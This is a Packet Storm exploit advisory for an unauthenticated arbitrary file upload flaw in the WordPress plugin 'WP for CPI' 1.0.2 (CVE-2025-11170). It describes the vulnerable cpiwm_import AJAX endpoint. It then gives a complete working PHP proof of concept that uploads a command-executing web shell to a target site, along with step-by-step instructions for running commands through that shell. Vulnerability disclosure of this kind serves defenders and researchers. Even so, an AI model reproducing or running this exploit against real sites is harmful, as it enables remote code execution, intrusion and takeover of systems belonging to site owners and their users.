PACKETSTORM 9.8 CRITICAL

πŸ“„ WordPress WP for CPI 1.0.2 Shell Upload_PACKETSTORM:212726

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

WordPress WP for CPI plugin versions 1.0.2 and below suffer from an unauthenticated shell upload vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:212726
Published Dec 11, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : WP for CPI 1.0.2 Unauthenticated Arbitrary File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://discover.commoninja.com/wordpress/plugin/cpi-wp-migration |
=============================================================================================================================================

[+] Summary :

The WordPress plugin "WP for CPI" versions <= 1.0.2 suffer from an
unauthenticated arbitrary file upload vulnerability via the "cpiwm_import"
AJAX action. An attacker can upload arbitrary PHP files and achieve
remote code execution.

The vulnerable endpoint requires no authentication, nonce, or capability
checks.

Affected endpoint:
/wp-admin/admin-ajax.php?action=cpiwm_import


2. Fake Python PoC Notice
-------------------------

[+] References : https://packetstorm.news/files/id/211558/ CVE-2025-11170

A previously circulating Python PoC was analyzed and confirmed to be
non-functional, incorrect, and not aligned with the plugin’s real
behavior. The script was determined to be fake and technically invalid.

A corrected analysis and working PoC are provided below.


3. Technical Details
--------------------

The plugin exposes the action parameter:

action=cpiwm_import

The server accepts the following POST parameters:

filename - the resulting file name on disk
data - base64 encoded file contents
index - import index (not validated)

Uploaded files are saved to:

/wp-content/plugins/cpi-wp-migration/storage/{filename}

A successful upload returns the response:

0


4. Working PoC (PHP)
---------------------

<?php
/*
Corrected PoC for CVE-2025-11170
By Indoushka
*/

$target = "http://target.com"; // no trailing slash
$ajax = $target . "/wp-admin/admin-ajax.php";

$filename = "indoushka.php";
$payload = "<?php system(\$_GET['cmd']); ?>";
$data_b64 = base64_encode($payload);

$post = [
"action" => "cpiwm_import",
"filename" => $filename,
"data" => $data_b64,
"index" => "0"
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Server Response: $response\n";

if(trim($response) === "0"){
echo "[+] Upload Successful!\n";
echo "Shell Path:\n";
echo $target . "/wp-content/plugins/cpi-wp-migration/storage/" . $filename . "\n";
} else {
echo "[!] Upload failed.\n";
}
?>


5. Usage Instructions
----------------------

Save the file:

poc.php

Run:

php poc.php

Access your shell:

http://target.com/wp-content/plugins/cpi-wp-migration/storage/indoushka.php?cmd=id


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.